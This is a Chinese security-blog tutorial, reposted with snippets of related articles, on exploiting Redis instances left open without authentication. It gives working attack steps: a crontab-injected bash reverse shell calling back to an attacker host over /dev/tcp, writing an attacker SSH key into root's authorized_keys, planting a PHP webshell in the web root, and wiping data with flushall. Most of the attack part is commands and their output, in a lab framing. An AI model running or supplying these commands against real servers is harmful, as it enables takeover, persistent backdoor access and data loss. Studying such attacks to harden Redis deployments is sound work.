[Shell]Redis未授权访问反弹shell

原作者:Cream
文章出处: 贝塔安全实验室

0x01 Redis未授权访问反弹shell

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

Redis因配置不当可以未授权访问(窃取数据、反弹shell、数据备份操作主从复制、命令执行)。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。

1. 安装redis

wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar -xvzf redis-3.2.0.tar.gz
cd redis-3.2.0
make

1.2 修改配置文件

vim redis.conf
bind 127.0.0.1前面加上#号       # bind 202.139.21.100
protected-mode设为no
启动redis-server     ./src/redis-server redis-conf

默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件!!

1.3 攻击利用

1.3.1 redis基本命令
连接redis:
redis-cli -h 192.168.63.130

查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.63.130:6379>info

将变量x的值设为test:
192.168.63.130:6379>set x "test"

获取设置的某个变量的值:
192.168.63.130:6379>get x

`flushall`是把整个redis数据库删除,一般情况下不要用!!!
192.168.63.130:6379>flushall

查看所有键:
192.168.63.130:6379>KEYS *

获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
192.168.63.130:6379>CONFIG GET dir
192.168.63.130:6379>CONFIG GET dbfilename
1.3.2.利用计划任务执行命令反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell

先在自己的服务器上监听一个端口
nc -lvnp 7999

然后执行命令:
[email protected]:~# redis-cli -h 192.168.63.130

192.168.63.130:6379> set  xx   "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK

192.168.63.130:6379> config set dir /var/spool/cron/
OK

192.168.63.130:6379> config set dbfilename root
OK

192.168.63.130:6379> save
OK

nc监听端口已经反弹回来shell

1.4 Redis的其他应用

如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

1.4.1 写ssh-keygen公钥然后使用私钥登录

利用条件:
a.Redis服务使用ROOT账号启动

b.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

操作流程:

Step 1:首先在本地生成一对密钥:

[email protected]:~/.ssh# ssh-keygen -t rsa

查看密钥:

然后在redis执行命令

192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x " AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx"
OK
192.168.63.130:6379> save
OK

之后直接使用公钥登录即可

1.4.2 往web物理路径(document root)写webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell。

192.168.63.130:6379> config set dir /var/www/html/
OK
192.168.63.130:6379> config set dbfilename shell.php
OK
192.168.63.130:6379> set x "<?php phpinfo();?>"
OK
192.168.63.130:6379> save
OK

即可将shell写入web目录(web目录根据实际情况)

0x02 参考链接

反弹shell的学习总结

原文地址:https://www.cnblogs.com/-mo-/p/11487797.html

时间: 2024-09-30 10:37:16

[Shell]Redis未授权访问反弹shell的相关文章

Redis未授权访问反弹shell

目标主机:10.104.11.178 攻击机:kali 攻击步骤: 1.与目标主机连接 [email protected]:~# /usr/redis/redis-cli -h 10.104.11.178 2.kali主机进行监听 nc -l -v -p 9999 3.写入反弹shell语句 set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/10.104.11.153/9999 0>&1\n\n" config

修补--Redis未授权访问漏洞

--------------------------------阿里云解决方案----------------------------------- 一.漏洞描述 Redis因配置不当可以导致未授权访问,被攻击者恶意利用.当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除.泄露或加密勒索事件发生,严重危害业务正常服务. 二.Redis安全漏洞

Redis 未授权访问缺陷可轻易导致系统被黑

Redis 未授权访问缺陷可轻易导致系统被黑 漏洞概要 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据.攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器. 漏洞概述 Redis

Redis 未授权访问漏洞(附Python脚本)

0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-2.8.17.tar.gz cd redis-2.8.17 make #启动redis服务 cd src ./redis-server 启动redis服务进程后,就可以使用测试客户端程序redis-cli和redis服务交互了. 比如: [email protected]:/tmp/redis-2.8.

Redis未授权访问

最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结.再此记录下来 环境介绍 0x00环境搭建 我这里用到的是Microsoft(R) Windows(R) Server 2003, Enterprise Edition 32位服务器,所以下载的是32位的redis,如果是64位的请下载对应的版本 下载地址:https://github.com/MSOpenTech/redis/releases. 下载下来的压缩包将其放入C盘根目录,重命名为Redi

Redis未授权访问漏洞的利用及防护

Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP访问等,这样会使Redis服务完全暴露在公网上.如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在访问目标服务器时,可以在未授权的情况下访问Redis以及读取Redis的数据.攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行文件的读写等操作.攻击者

docker搭建redis未授权访问漏洞环境

这是redis未授权访问漏洞环境,可以使用该环境练习重置/etc/passwd文件从而重置root密码 环境我已经搭好放在了docker hub 可以使用命令docker search ju5ton1y来搜索该镜像 构建好容器之后需进入容器对ssh服务重启 /etc/init.d/ssh restart Dockerfile如下: #Redis is not authorized to access # Base image to use, this nust be set as the fir

Redis未授权访问漏洞复现

漏洞复现 攻击机 kali  ip:192.168.70.140 靶机 Ubuntu 16.04   ip:192.168.70.133 一.环境搭建 1.下载安装redis wgethttp://download.redis.io/releases/redis-3.2.11.tar.gz 2. 解压压缩包 tarzxvfredis-3.2.11.tar.gz. 3.进入解压目录redis-3.2.11 执行make命令 4. 进入src目录 cd redis-3.2.11/src 5.将red

Redis未授权访问漏洞分析

catalog 1. Redis简介 2. 漏洞概述 3. 漏洞利用方式 4. 修复方式 1. Redis简介 Relevant Link: http://www.cnblogs.com/LittleHann/p/3901588.html 2. 漏洞概述 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据.攻击者在未授权访